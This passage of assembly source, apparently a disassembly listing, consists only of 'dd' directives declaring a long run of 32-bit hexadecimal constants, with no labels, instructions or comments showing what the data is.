		dd 71884949h, 0EA7CC247h, 0C58EAC0Eh, 4CFB8A0Ch, 15711218h
		dd 88FE0032h, 0FC30649Eh, 4F0E447Eh, 6082F068h,	4F710E2h
		dd 3113606Eh, 3DA1FBA4h, 0D7B7C303h, 0D71CCF0Dh, 4093A08Eh
		dd 21718Eh, 2B14282Fh, 31C587E0h, 20D03A28h, 0B2C10200h
		dd 3FB5D651h, 904F1679h, 0BBEB039Bh, 703CF267h,	0D9A5B0DDh
		dd 0A85B3CD4h, 748BEA8h, 0CA12B01Dh, 887A30C8h,	0CB007C31h
		dd 0BDF7F04Fh, 0C017197Bh, 6D547738h, 68780D56h, 609840F5h
		dd 48404923h, 0E22221C5h, 19084F1Fh, 21160052h,	0C99C0D12h
		dd 0E73F7774h, 0EBA48162h, 1435435Dh, 330240BCh, 34298CE5h
		dd 4EEDC482h, 5E971301h, 0C305B194h, 9E599930h,	0DC00588Dh
		dd 7CE6D90Bh, 1874E10Fh, 31573C28h, 6F005580h, 0DBEFA7BDh
		dd 359532Eh, 5D757C2Bh,	0B1B01F9Ch, 4006F780h, 0B5BD79AFh
		dd 0A9A00C58h, 0C5A81C68h, 0B41F9328h, 0DC22E415h, 1D410870h
		dd 0B501384Eh, 50EF4D4Bh, 0F857CDB4h, 99601412h, 2AEE1339h
		dd 0A99F0AFDh, 112CED80h, 0E0330319h, 1F83F543h, 52A16DF0h
		dd 2B6441B2h, 40FD33C4h, 0E556A93Ch, 0DD0B3907h, 89E25E34h
		dd 8C008F8h, 5686C4E6h,	3C611D4Dh, 500ACD4h, 854BE061h
		dd 0D902E596h, 537FAF79h, 11D0A0C5h, 40C3D27Ch,	4D184629h
		dd 6D4064E8h, 8A703A9Dh, 271D5580h, 32375EC8h, 0A1FDDA00h
		dd 7CC01862h, 15641846h, 0B6D98808h, 84CC5789h,	11C961FEh
		dd 0ECC4128Ah, 790117CAh, 265ACFD7h, 96FD460Dh,	0D869F422h
		dd 688E208h, 19523C97h,	0CACFE807h, 7EF0D115h, 5321BEh
		dd 70906E58h, 527070Bh,	0D9DC6404h, 5C94657Bh, 0A5590C81h
		dd 3BC5F007h, 2373DFE5h, 705C8449h, 411B9090h, 0F73150F9h
		dd 6812B8h, 4BB67BA0h, 91C118D9h, 0F8D3E19Ch, 0B55C9440h
		dd 88CD49C8h, 0ED4C6C04h, 0D16F014Eh, 4883F95Dh, 0DA14E365h
		dd 242912B1h, 0A00DE4DCh, 48A4DC31h, 3A302147h,	9F7B0B2h
		dd 0B3775DBCh, 0E5DD8403h, 0D470981Ch, 1AC6B280h, 0DC0A72h
		dd 8125A57Dh, 7A90C10h,	0A2696504h, 14C05D2Dh, 0B7D3BFh
		dd 0A67D99D9h, 0FE963949h, 2005AE8h, 3F55545Dh,	0E55C8704h
		dd 0ACC1109Eh, 76500D0h, 0D9E3021Fh, 0B30063B0h, 0D381B7DBh
		dd 7E9188h, 4A970B5Eh, 0C7A4D52Eh, 0A59ECA0Eh, 80E3AB59h
		dd 0A296C28Bh, 2898EEB3h, 3F80B1F1h, 1281E6FEh,	7CC45565h
		dd 800FFDDAh, 340C27F8h, 0A8EA455Ch, 7CC6C48Ch,	4CF77C4Fh
		dd 0AD2C8E0h, 82E4893Ch, 0A114D796h, 0DE081844h, 2680CD7Bh
		dd 79E51840h, 0CA095605h, 3F2E3C9h, 0A089344Ch,	24C6F37Eh
		dd 42EC1C6Ah, 5620B8E3h, 904A1C5h, 5FD141AFh, 4B3F889h
		dd 841476F9h, 2B033439h, 0CE948Ch, 0C35E7C57h, 0BAA2455Fh
		dd 84AC3Eh, 4A65348Bh, 60DD4C5Bh, 2D75F044h, 6E1D06CFh
		dd 771F8109h, 14F80E14h, 10647F0Dh, 5C0ADFF5h, 8C90F731h
		dd 6181124Dh, 97D2FD02h, 0C144BDCDh, 31A68574h,	3AEB1110h
		dd 38178CDAh, 0C0A4E15h, 0CDFDF711h, 810474D1h,	5964418h
		dd 109C04C8h, 24B294A9h, 4806484Fh, 51176Fh, 4996EED6h
		dd 98A83D9Bh, 0D7C35600h, 6C83816h, 0A6D89B44h,	0E2210981h
		dd 1C980898h, 19CFD218h, 482DA860h, 6429CC34h, 0AA840EACh
		dd 572013ECh, 0A70509FAh, 5CB0A130h, 94E3C800h,	0A8D26FC6h
		dd 60AA14BCh, 54865104h
		dd 0B9E823h, 0B9EF6F0Ch, 0F4913EC6h, 18E1B80Ch,	9244E729h
		dd 5D2E656h, 0E33BC6F2h, 42100805h, 9D49AF84h, 9F09F8D0h
		dd 0CC6D12C6h, 0DD20446Bh, 617722CEh, 0E034B4FCh, 0D863187Fh
		dd 0EDF76144h, 21F52300h, 41582B57h, 0A1E56EBAh, 68109B69h
		dd 0D1204366h, 153C2A82h, 0C05AEA8Ch, 1D37BC21h, 0F13A70F5h
		dd 2FD68060h, 385C7B56h, 4D51C61Eh, 0E7003921h,	0F2026F9Fh
		dd 0F30FEC0h, 46D6A852h, 0F44BD901h, 0C43030C3h, 61513C30h
		dd 0FAD873FBh, 22B93AC6h, 8DA97180h, 62852A0Fh,	0B52C51FCh
		dd 9308E814h, 0E3570010h, 718D68B4h, 944F2D28h,	7B16E490h
		dd 5021F1C5h, 6F11DFDCh, 0F8A98020h, 9E58925Ah,	63113C14h
		dd 3B2AB800h, 0C6FB1EB4h, 80BA160Fh, 929AEB1Ah,	28665Ch
		dd 8574C782h, 6EE29C67h, 0CDF59E09h, 0F8248A5Ch, 94CBDA02h
		dd 0B8CD439Bh, 2DF0615h, 3AC6AB33h, 50C9457Dh, 6498FC05h
		dd 7808810Fh, 0DC0B1CDAh, 148D829Ch, 833CB89Bh,	0CB6F003Bh
		dd 549E9FEEh, 330501BBh, 1CFD43B6h, 0A57198D0h,	5C0CB019h
		dd 407A1806h, 3073325h,	0CCF74B37h, 86154441h, 7C71E6F9h
		dd 825557ECh, 0DB3118C0h, 0C04CA541h, 0C9070795h, 6FFB71A0h
		dd 7FC09E61h, 3A38702Ch, 75174C7Ch, 2C1D59DEh, 0E7692302h
		dd 0F5C90150h, 55B510A5h, 0D95E603Dh, 785CBB22h, 0F393800h
		dd 237F0C44h, 0BCB13Dh,	34469D97h, 0F01E1018h, 0C900DC68h
		dd 679C7C41h, 45290B50h, 0AC068F5Dh, 4890C144h,	54B1F520h
		dd 18ED6CE0h, 18C10DC8h, 0A8B9B72Dh, 5E917105h,	0B057ECC8h
		dd 140D2AC4h, 916F77A0h, 5F9F0894h, 6423FE93h, 72CC8030h
		dd 850D0135h, 98A1CF43h, 0FD5081BEh, 2A597E66h,	131C8824h
		dd 49EC8CAAh, 0F4042E40h, 0C0B450C2h, 77975D58h, 15EE042h
		dd 6CE79C8h, 0F8C693A4h, 0F00186B3h, 68E53071h,	0A88B1355h
		dd 54028ADFh, 9802B835h, 0A5BC848Fh, 0ECF8B240h, 0AF48CCE4h
		dd 0A05430AAh, 6A33DA1Ch, 14ED901Fh, 0AF00703Dh, 501BD0EEh
		dd 0A990283Eh, 235EB005h, 0A89096E2h, 54D17757h, 0E6A8F9h
		dd 0E0C3DD9h, 665EC616h, 24517B7Fh, 71A88CBCh, 982328CAh
		dd 42F92068h, 0C6901E1Fh, 486C3489h, 48AD4B48h,	4D151CF6h
		dd 761D9C1Eh, 0FBD50098h, 3C5A4731h, 2EE20101h,	14BB8697h
		dd 15887C8h, 0B6660953h, 561168EDh, 0FC6C4084h,	413D78B0h
		dd 8044284Eh, 1A71A926h, 0AF431C5Dh, 2810839Ah,	201447A5h
		dd 4A90DB0Fh, 98A00849h, 5CFD4B94h, 5585F446h, 0FEC40911h
		dd 0D277C890h, 2E3D3E05h, 0B4065F0Fh, 1A315318h, 0A0ACB9D1h
		dd 7661BC60h, 0E8625781h, 59044068h, 225016E2h,	991056F8h
		dd 0E804C6D9h, 134DB87Bh, 0AAE11002h, 0CC7404E5h, 7D006190h
		dd 7952F5E9h, 1F7F037h,	0BB433A9Ah, 57B1246Bh, 5799E1DCh
		dd 876C01F9h, 0F8A068BFh, 2034A325h, 37BBDA10h,	5BE40094h
		dd 7210B2E6h, 0E0042E5Ah, 15F43312h, 714B3081h,	80BEAFD1h
		dd 0C30961Eh, 0B5102758h, 0F06E6014h, 8233074h,	3A209ED4h
		dd 642EF112h, 1E608108h, 9C149978h, 0F1556289h,	276458B8h
		dd 7E200015h, 0A268E3B6h, 0ACB40558h, 0AC778C4Eh, 8012682Ch
		dd 8892A09Ah, 8A79E29h,	0B8DB3C0Ah, 0E244ACA1h,	67120C8h
		dd 0FA99EDBh, 294CE8AFh, 791C3019h, 1A2F5561h, 210BA997h
		dd 65982440h, 1457A888h, 181D016Fh, 5BA9490Ah, 99969F8Ch
		dd 541471BAh, 939461E4h, 0D7051B64h, 8A26C13h, 6822884h
		dd 48F14D71h, 0C9BB34h,	0E62CC3E0h, 0F27010A2h,	0B5DD560Eh
		dd 12C04064h, 0C5AEF6D3h, 29931B8h, 2FFE174Ch, 4E0F0468h
		dd 505DA731h, 7C82E801h, 0A831DAD1h, 0E38BAF60h, 2F931A01h
		dd 5ECE6839h, 4DF170h, 8834D706h, 22F95F52h, 3ECFE000h
		dd 25DF7C3h, 0A0460099h, 9895589Bh, 2601A121h, 7E916F6Ch
		dd 80F302F3h, 30869062h, 0FE4065E6h, 0C241B7D1h, 4798C0h
		dd 95579E6Dh, 238F163Eh, 7A2833Ah, 0B6E949Bh, 0F7B08717h
		dd 7F86011h, 43D1EB5Ch,	0F6246136h, 577001E7h, 8DC844D2h
		dd 0F8EA5704h, 0E6CB6980h, 909D9395h, 0F13300D8h, 6A837B8Ch
		dd 9B00DBD6h, 8A155C69h, 3AC86B5h, 57248265h, 0C2C0B4D0h
		dd 0E71F0231h, 0E40A195h, 9B633584h, 979C0123h,	0A06B458Fh
		dd 0F47EC05Fh, 0F60CD900h, 7DE31A4Fh, 0F8FA30B3h, 0A65FE540h
		dd 976C40h, 6E909662h, 0A7478F6Fh, 0B549D00h, 0AC8382CBh
		dd 0EC40331h, 0C1447DE7h, 0D30C3088h, 0A2925F05h, 0F8C0850Ah
		dd 98789095h, 94B74838h, 5FE8BAh, 9443D9F6h, 985E5C6Bh
		dd 23A86200h, 448F666Eh, 0B9F0083h, 0FDB5865Bh,	53002B52h
		dd 7972E00Ah, 742C338h,	0A85EE202h, 0E387D0B0h,	25008D21h
		dd 32DCE183h, 4E9F79h, 0DF18B608h, 1E4939C1h, 0FD73ED0Ch
		dd 10C84086h, 835DE7h, 0A21CE389h, 3E26423h, 0A39F5ED2h
		dd 0B998F459h, 6500AEFDh, 62ED19EEh, 0C434B8h, 31E77494h
		dd 8B5AB16Dh, 647900F5h, 8C66E5ACh, 0CEE1F0ABh,	98D10068h
		dd 58A2A044h, 0EF003370h, 0AC387696h, 7C9A908Fh, 741500A1h
		dd 6013FC91h, 0A2002285h, 0F835B7CEh, 0E6DDD15Eh, 4BA40067h
		dd 0A6F33A87h, 8E00783Eh, 6A425FCAh, 0A35955h, 2FF9832Dh
		dd 0CFDF4749h, 0C1002698h, 46E70494h, 7E626982h, 92630080h
		dd 8F6B3991h, 0A0009B2Ah, 33A40A5Eh, 2E52F2h, 0C5FD1DEEh
		dd 9505C2B3h, 80E09F39h, 844CB16Ch, 3CD4163Fh, 8C856E2Ah
		dd 829C4230h, 5C2181ACh, 73E42451h, 0A30899FFh,	0F47F04h
		dd 820C192Ah, 0B90A20C0h, 0E8148601h, 0A6648873h, 0F3B0344Ah
		dd 7000BC7Ch, 587E016h,	0E8681E2h, 0F804FB44h, 4DC31C15h
		dd 1000B91Fh, 6EBB8B9Eh, 37F8436h, 76E081D5h, 16A9700Dh
		dd 3F287821h, 0B88C435h, 0B549315Dh, 7113A4C0h,	26D4C11Ah
		dd 40185438h, 3ADAC9A0h, 0B5632202h, 0B10D2F60h, 2D02C71Ch
		dd 4B80805Ch, 0DD30A0A9h, 911200EAh, 25CEDC5Ah,	0E706C56Bh
		dd 16E19BDFh, 0D4770188h, 0F7594365h, 0CECAE050h, 6FF3FE16h
		dd 0FC6CF8B1h, 0C070C50Ch, 640CB591h, 11174D06h, 710C0BF3h
		dd 9C619CDCh, 0A109AD94h, 711553C0h, 804158F1h,	221017A5h
		dd 0C4B6F8E1h, 80A1A903h, 33D00143h, 3BDEB67Fh,	4507D261h
		dd 0D0262F03h, 1D171102h, 1810F2E6h, 827214Fh, 28B73000h
		dd 9B4483D2h, 94CA003Fh, 9EA89C97h, 0F04EF7E1h,	0A63BD880h
		dd 0E36E3061h, 64A94978h, 0FECC6341h, 0A8A0ABC3h, 3FD47Dh
		dd 0BD70558Ah, 0A7D5DDFCh, 0BA593200h, 92D79A5Fh, 4A305EF0h
		dd 4058DA90h, 0DE2A2F5Ch, 9110E221h, 423004Ah, 4E41BC30h
		dd 496F00F1h, 2558D27h,	0B81DA579h, 9944A177h, 78F80B0Dh
		dd 9FD08730h, 6301F04Fh, 883C5405h, 9EC806DFh, 0B5C63CF6h
		dd 1704D0CAh, 0EF009722h, 0F92E28Ch, 0EC61E10h,	4712609Ch
		dd 4E017889h, 902F8B93h, 8080B368h, 602CA94h, 0D60C771Eh
		dd 0D312EBC3h, 0F8ECACCFh, 41D8A90Bh, 0CBA0A8C0h, 3D716D09h
		dd 0DA1400CFh, 0BE60BB33h, 29183EA4h, 0C1435918h, 0D4D4069Fh
		dd 13D73989h, 0B628C4D2h, 5CA80389h, 0B240C06Dh, 0D14158D1h
		dd 0B1218026h, 6742A828h, 9C8A00E7h, 755BB068h,	3E00C65Ah
		dd 7EBBF27Bh, 33C96DB8h, 0DE90C37Dh, 18A1E1h, 5468E3h
		dd 313D66Bh, 61CD179h, 4A1B10Ch, 1ADAD0B6h, 0E8B950E1h
		dd 0D0F1547Ah, 0B244FD63h, 0D6DD1716h, 370CD30Ch, 88D0094Ah
		dd 73D6D4F6h, 3C26FAAFh
		dd 3B15CDA6h, 9501CC59h, 5C332B9Fh, 0A180CFC3h,	6325EF31h
		dd 739CE617h, 70ECA322h, 25DC1C08h, 486D000Dh, 0AD494F41h
		dd 9CB04B60h, 80BA1A31h, 0D7126554h, 0DC04E2F8h, 6601C199h
		dd 0C4D71C5h, 0F7F8C01h, 89CE711h, 5680EA88h, 0C8A97118h
		dd 6F830C77h, 2550630Ch, 34C99E88h, 0F8800A57h,	0D599C2D4h
		dd 0BBA054C7h, 0F653867Ch, 30C4F2ACh, 0F4F0E97h, 0F939B480h
		dd 15ECA850h, 0FE70C6B6h, 11E31CAh, 3A415945h, 0FD687FEAh
		dd 7105A5E8h, 697B0236h, 526D4932h, 0E15CA069h,	10C1A8B5h
		dd 804C1749h, 6D59A82Dh, 22414328h, 5DAE001Bh, 0FBA6C2A8h
		dd 0A9194AABh, 0CB58603Ch, 0E01DDC2Dh, 0A794C0D5h, 5C343890h
		dd 221A4F22h, 3502164Ch, 0B58A36C9h, 0F77C402Bh, 92C5300Eh
		dd 0E02EE429h, 63E53327h, 7C3FD090h, 0C118056Bh, 82EE76E7h
		dd 0E9863040h, 31008019h, 56CFD0E6h, 25E3B7A3h,	5C66CAC6h
		dd 43253498h, 4CECE0C9h, 0AB69C418h, 22A9C01Ch,	2497C8E5h
		dd 0DB2015A8h, 9200AA47h, 0D10401DAh, 1FABA179h, 95DF643Dh
		dd 771E9078h, 9B61DE2h,	80A3DDB3h, 0ACE05418h, 14151E0Fh
		dd 90679Bh, 0CB5F69E5h,	0EF3AB51Dh, 90336C64h, 0ED4D30E0h
		dd 0B2AF64A0h, 958574Ch, 581B378Fh, 0F35D3044h,	0C63E4620h
		dd 12C4F401h, 28E4E996h, 0EA023026h, 0D84F09D6h, 0F310C031h
		dd 0FA24D6E1h, 1500CEEFh, 3031DE4Ch, 0FD9CFAE0h, 29BC56F2h
		dd 67DCD35Ch, 0A4BB1A70h, 8CAD0B2Eh, 0E00F5BA7h, 14044AE8h
		dd 3888335Ch, 55693E77h, 7030C64Ah, 0C3026146h,	804F0AD6h
		dd 0F410C231h, 0DE56D6DAh, 17583CF4h, 3C40054Bh, 0C9BB26CCh
		dd 7464485Dh, 7500F922h, 0EA0376EDh, 25DF51BCh,	0ECC83B02h
		dd 150333D1h, 7A97D2F6h, 9940D007h, 0E6C1FD1Ah,	2545430h
		dd 596AB447h, 0F06094DCh, 0B7E61674h, 7D696D0Ch, 146CD0B0h
		dd 0D8E65524h, 8C18B450h, 5AA82E04h, 2762306Dh,	0C326AF22h
		dd 0B78C9800h, 6CCA07D6h, 0D5714C30h, 0E874C4E4h, 189280ACh
		dd 0C91C0Eh, 80454AD7h,	6BFBEA76h, 0E23C8752h, 0E3A33021h
		dd 0D9AC2216h, 50085C16h, 2F5BC0E1h, 0EA21DE31h, 3529110h
		dd 0F300322h, 0F16412AAh, 3EDCE45Eh, 0DA84E704h, 0CB8BF1Bh
		dd 5D7D4909h, 49CF0C1Bh, 18164C91h, 0CA8582Ch, 704C6026h
		dd 0A80064A5h, 0B849AF5Dh, 40E0A94Fh, 9EEA3141h, 0AB70049Fh
		dd 4CA216h, 0DFD124CDh,	4B68BF30h, 10ACC145h, 7290326Fh
		dd 45F0702h, 7E1575A3h,	0FF1638CCh, 0CBEC40C5h,	0D6E6EFCEh
		dd 0DCDFE701h, 0C77D68E4h, 751C442Fh, 6034A1F4h, 0E307EB68h
		dd 5A49032Bh, 0E8B8AC84h, 8012807Dh, 465C0494h,	4C13E53h
		dd 66142B19h, 305DA082h, 0E11D6E7h, 1A84E04Fh, 0DEF803E5h
		dd 80C3EBD6h, 176FE1AEh, 4E8C6E7h, 5BAD47Ch, 9820FE34h
		dd 2C4ACDE5h, 4BC533Bh,	0A4211B01h, 64428C98h, 0B011D23h
		dd 0E89CC371h, 0F4403B19h, 5371145Ah, 50CF19D2h, 180840E3h
		dd 0E671080Eh, 0EFC6109Ch, 712AC071h, 0F0F2A9F6h, 0AE1605E0h
		dd 0D804DD88h, 0B501BED7h, 0BE55BC9Ah, 0D09208D0h, 3AB6172Ch
		dd 162023CCh, 0FF70001Ah, 0E1DB31B4h, 0A429532Eh, 482E37C0h
		dd 0BAA8266Ch, 25151DA8h, 6088282Fh, 0D5386300h, 0B411876h
		dd 0DB22C47Fh, 0B560D851h, 24A14961h, 80685FACh, 0A028FB30h
		dd 0E0BABDE1h, 145C349Ah, 9F7850A4h, 4C84133Ch,	0DA4C7A54h
		dd 0DE2B005Ch, 2F3910B2h, 0A1310CBEh, 3741ADE1h, 0B8204E00h
		dd 0DFA3F7CCh, 90D46486h, 0D55640B0h, 0C1385C2Ch, 0A3C5B611h
		dd 0F258227Eh, 72403050h, 2AF6A9ECh, 12A60203h,	16B403D3h
		dd 18A14F88h, 0D9A0E8F8h, 0E17C8C33h, 0C95F9047h, 55880E24h
		dd 1A4A714Bh, 0AF6C9EA4h, 0ECE3A442h, 522BC981h, 0B0466C08h
		dd 5516DB46h, 3ABC092Fh, 104D64B1h, 3E301D24h, 0AB0F916Dh
		dd 6E42385Dh, 147069D1h, 0D6E80651h, 0E183CCAFh, 0B005271Fh
		dd 8569780Bh, 77D0490h,	0F1260F1Ah, 0F2366FC6h,	803097CCh
		dd 1F12B094h, 5032DFEh,	0B8397178h, 305C16D4h, 0F87738E4h
		dd 0E11B62E5h, 1CE9E124h, 0A849F06Dh, 67875096h, 4DC35394h
		dd 3779001Bh, 36544EAFh, 0E371875Eh, 4F88E500h,	6E081DC0h
		dd 0B1A52799h, 28F3D46Eh, 1EF2080h, 912636EEh, 0C4E5772Ch
		dd 760110A2h, 120F94B7h, 5FF8833h, 8CA9A728h, 0E1E8414Dh
		dd 74EB65D9h, 0E8C262Ch, 4F0FD6E8h, 0E5198491h,	0D6DFF100h
		dd 0EF00877Ch, 0A94AAA95h, 556E0D3Ah, 0EAD988F8h, 1F6A06DCh
		dd 8FF5C19Bh, 0DBE378A2h, 0E886102Eh, 423D5B01h, 0FD33DF09h
		dd 40582C28h, 0E0B34079h, 0AE658800h, 26FEE641h, 5D4A0903h
		dd 8205C3Ch, 52B027EBh,	2EE86B79h, 54E7DA00h, 46CBCFD1h
		dd 6310058h, 78F325DBh,	0E12D22F0h, 0B7E46016h,	496027A1h
		dd 0E2570CC1h, 0A4E27F04h, 0C4304EE2h, 56C6003Ah, 41495401h
		dd 58C140F5h, 1ACCA99Ch, 262AE824h, 44C85594h, 710D6007h
		dd 189C23DDh, 64EC08h, 2711654h, 0E901BCBBh, 32689F67h
		dd 5ADAAD49h, 18332220h, 703BFC1Dh, 0D4466828h,	2C301E02h
		dd 14E7F2DEh, 30062500h, 50C63D8Ah, 0B225079h, 4A70D634h
		dd 195F2C26h, 0D720A490h, 10565C26h, 31028C71h,	886D55A8h
		dd 0AA001640h, 4ED6A861h, 1250E352h, 20E42220h,	3CA1C9C0h
		dd 48242094h, 4981802Eh, 81E53555h, 9A383DF8h, 4BDF1624h
		dd 2BF0F0C1h, 80A666F0h, 715918FDh, 5ADE292Fh, 128C0E8h
		dd 7E010530h, 3F274507h, 2F47657h, 67883E20h, 0F31090DCh
		dd 21182019h, 29F112FBh, 69483D18h, 85303853h, 8261575Ch
		dd 1D77C8C1h, 4BB42000h, 893A723Ch, 22A5EDC9h, 50C5438Ch
		dd 2AC43CA8h, 0F0B93309h, 0C1C30C84h, 0AFE143A0h, 0E04411h
		dd 178A1536h, 10EFEEB9h, 57068314h, 9E2160A3h, 0CA2378Bh
		dd 1432553Bh, 9C3EDEA9h, 90E5B7D1h, 4C884D04h, 2F8A3B93h
		dd 78610573h, 437C9713h, 0F1375CA4h, 0B7474101h, 52742E1Dh
		dd 4FA24823h, 0B8B330h,	273F6F0h, 37C347FFh, 5C501BECh
		dd 76888FC0h, 0CEB927A1h, 52ABC404h, 0C02A6C08h, 4F0BD6C4h
		dd 0D808843h, 0DF10D6DCh, 71072372h, 0DE51ADEEh, 0D6197572h
		dd 8BCA001Ch, 5DD1701Fh, 0C4B81A5Ch, 9C016601h,	250E4C31h
		dd 0BA146058h, 0D5442CB6h, 2D301F60h, 110ADE23h, 7260054h
		dd 4A2C9430h, 0DA232D2Bh, 6FC54868h, 5DDC0E54h,	4249100Bh
		dd 27819D2h, 8C15A470h,	1FA82B1Eh, 0D88B5852h, 0A863A400h
		dd 0C20E5AB5h, 7820A971h, 0D03B5ABEh, 0D275F194h, 44FF1228h
		dd 1B499200h, 0DC785E54h, 886F5814h, 37A72980h,	4C303292h
		dd 0CB38D9E0h, 0B8147877h, 1381C4B4h, 0FDF4B498h, 0D8F62CA0h
		dd 0EEA5F00Fh, 5704A5F1h, 7CA298C4h, 2A304EF2h,	0DBA30B48h
		dd 0CC806A69h, 3D23DDABh, 0E001EC4Fh, 211995C8h, 4420CF02h
		dd 9E8C035h, 392AFD14h,	9C09F466h, 4228B7C9h, 0D9EA4264h
		dd 18E77148h, 0E32226F9h, 41B74078h, 61825AE9h,	203C5010h
		dd 8CDDB8h, 662882BCh, 1B4C70E5h, 0A7ACDE3Fh, 54C2594h
		dd 1E8064ECh, 0F51AA548h, 5882BD14h, 40685284h,	0A27536AAh
		dd 180370A1h, 0E9710809h, 0F0C4789Ch, 7160584Fh, 4176EA95h
		dd 60C7E106h, 4990A7Fh,	0F3269E35h, 0F0E2C5h, 0C24A0CF4h
		dd 1DF7C8Ch, 0F6537A4h,	61B17596h, 3E482CA2h, 99348B25h
		dd 9E44787Ch, 5C744A98h, 30002146h, 6DE632FCh, 0BDEAA622h
		dd 0F231EC90h, 57930858h
		dd 59B8103Dh, 8AA58407h, 9AC0684Dh, 49B4A1A2h, 0E5CCA451h
		dd 8E092F09h, 48005B5h,	40402420h, 0BD90F0A4h, 97D67600h
		dd 6E8D4254h, 0E26C0B11h, 4C796260h, 23150E00h,	7784B4DDh
		dd 0D277E0E1h, 48608799h, 0DD475482h, 0D046E7h,	0AC597BBFh
		dd 490594C8h, 97CEE402h, 0D2E72396h, 88135E98h,	92F89164h
		dd 0B4A07300h, 60FB3179h, 61B00EE6h, 0DC021442h, 0BC62C99Eh
		dd 41CF8C81h, 743428B5h, 0A94A6B1Fh, 0E8235D56h, 6F0BEC13h
		dd 780034F2h, 2C4EEF33h, 0F7121Ah, 2173742h, 6DBD5879h
		dd 0FDCD8317h, 0DC3590D0h, 86F2E0h, 8C99D861h, 69B979C8h
		dd 6E40E501h, 66B56FDDh, 3014E452h, 5608A832h, 6440906Dh
		dd 2AAB4128h, 0B0FF1DA8h, 0E201A5F3h, 52807FAFh, 0E005E095h
		dd 0F01FBD9Bh, 7CFB9E28h, 0D9E500C4h, 842BA6Ch,	25C9176Eh
		dd 3340C110h, 1C3C3D95h, 24C9979Eh, 0D18E0C23h,	28A91449h
		dd 7B9C9052h, 0DEAC40DEh, 992BC474h, 0B3CB7922h, 0AA3BF070h
		dd 9C2CBA0Eh, 0A0A9E393h, 94780E61h, 6704B987h,	0B394C17Bh
		dd 159DD5E7h, 8AC2A0B0h, 0C0586C60h, 182B58A0h,	40F23D81h
		dd 0B4B4EF04h, 42458B28h, 264474C4h, 80BC964Dh,	34A8A1C8h
		dd 7F03EAF5h, 0FA07542Ch, 3B581381h, 84A88913h,	511CF190h
		dd 0C529F422h, 601BE4B4h, 0F35D2Dh, 6C7E00Fh, 6FEB178Ch
		dd 0ABA9D112h, 20713CB4h, 0F67D64E8h, 0ECC1BB2Ch, 93B48C42h
		dd 2A9E680h, 0A9975B30h, 10F4299Ch, 0D80829BCh,	917895A5h
		dd 85DF8054h, 27330639h, 3818385Ch, 0A8C0AAE9h,	352463E5h
		dd 0AD3327E6h, 53EF1002h, 0E7A78CE9h, 518425E0h, 93130CA8h
		dd 5CF134A2h, 7B1A8400h, 19A71EEh, 31C5DC4Dh, 0FDA75B97h
		dd 305C40A0h, 7702E20Eh, 8C794B24h, 595CC408h, 0A871404h
		dd 709CD271h, 13510E1Ch, 39E00971h, 0EF87A64Eh,	639F5601h
		dd 0EE894BBEh, 156DC884h, 38849105h, 0B5C9E08Dh, 6680097h
		dd 603D2EA1h, 0E5439958h, 6607A203h, 0FADC4BADh, 33406A80h
		dd 2E02018Bh, 556DAE9Ch, 0BC0C2861h, 0BB008C1Bh, 24093A69h
		dd 0CF01E08h, 1F4CB6B8h, 0E000D7F1h, 533F5F9h, 2837367Fh
		dd 0F5D4564Bh, 100A183Ch, 0DE94B5C5h, 0A57E8A00h, 7FB9F9E8h
		dd 21AA17E7h, 0F90D0FDh, 947DD22Fh, 697EDE00h, 4F41B22Dh
		dd 0E1EC0B3Fh, 6C209C54h, 89700D5Ah, 0DA0E989Eh, 0F230EB4Bh
		dd 1B1D1064h, 0B4B72821h, 28C4E2B0h, 0F0B278B8h, 953027F2h
		dd 0A99E0282h, 0EBF41F83h, 47A6E440h, 0F6DD9B15h, 0C5C840F0h
		dd 68446E4Ah, 1CC74FC6h, 90A8BCC4h, 0F794CAA0h,	7C1F691Eh
		dd 68EFDCCBh, 824BD428h, 0EB7958D1h, 0DA003618h, 96B414D9h
		dd 0C110B8A9h, 9813B758h, 693024BAh, 890DD030h,	0BF8DA16Dh
		dd 23E0D403h, 2B0331E2h, 13793112h, 0A2E8418h, 4F389C00h
		dd 19B1C217h, 9DE03913h, 0CB793C04h, 829F7021h,	0D7C99C31h
		dd 0FC30680Ah, 7CA91595h, 213A5027h, 7B255E40h,	77484045h
		dd 13575AA1h, 0C86C8BB8h, 2B14C04Fh, 8B12F388h,	68F0E07Dh
		dd 9EAB04AAh, 4B35FD1h,	34F3E574h, 92314AA2h, 34BEE60h
		dd 0ABB7831h, 4D89569Eh, 19F98023h, 0D09DC6C4h,	8E1B073Eh
		dd 8360E1E2h, 4C91A950h, 9C347E18h, 9D8300C4h, 590FC877h
		dd 2E3303D4h, 57EBE66Ch, 138CC88Dh, 0D00E18A2h,	9A95C483h
		dd 21016DF3h, 7FE5C5CAh, 689B9CDCh, 0E3A2E8B5h,	1FE02C4Dh
		dd 38A9BE2h, 69E62AD1h,	1EF8D557h, 2F75C6E8h, 0B1F89A12h
		dd 0CDB5C13h, 0E5BAB980h, 0A15C55D7h, 242773E4h, 1A9C915Ch
		dd 0DF04A063h, 14146543h, 4CB2A410h, 673049B2h,	84500015h
		dd 7E708995h, 0B800EE78h, 3280B264h, 95455149h,	13102410h
		dd 59ACB984h, 319E181Ah, 71C0A307h, 7ED41185h, 52F2A862h
		dd 1205031h, 35D12663h,	0E3658470h, 0D8FC81EDh,	80B60027h
		dd 11405E5h, 8CDFD478h,	99136DACh, 0A041C01Dh, 52CAC69Bh
		dd 4A6E3F0h, 0D1701E0Fh, 6528E085h, 631CE201h, 5D714918h
		dd 9C0C6868h, 4B690FE1h, 314EE690h, 276194CCh, 0A0A04A5Ch
		dd 0D761546h, 0FD2D1A09h, 0BBF8A3CCh, 0E73BB949h, 95DFAC0h
		dd 0D82F6EABh, 31EC9788h, 9DC5FEF1h, 11801531h,	38BADE61h
		dd 0BE2806CCh, 5820FB6Ch, 0F076E024h, 0B4168F0Fh, 0F9EC1184h
		dd 43343048h, 25D8AC51h, 224CF216h, 5890C081h, 3C0D94B1h
		dd 0B8D03155h, 9F785Eh,	0CE0C4A4Fh, 0A621D60Dh,	34AC2977h
		dd 3B4D9722h, 1D2133DEh, 21D0B11Fh, 46A42092h, 29F9B7D2h
		dd 59C11034h, 5CA6BFC8h, 21C4674h, 0CB084F21h, 80409E90h
		dd 0A5F1BFE4h, 4C219140h, 7BE70478h, 5CA218D5h,	0D8828A74h
		dd 88084788h, 0E46D1659h, 8908D8ECh, 80244E01h,	0B9DEE520h
		dd 0BC003CFBh, 0A89B68A9h, 2AB6226h, 0E82EE7FDh, 54913D7Bh
		dd 0CB0410C7h, 235913C5h, 832C04E6h, 0CA5600F0h, 90588C9Eh
		dd 200209C8h, 34F98250h, 7708C051h, 0C4A59924h,	5488DE92h
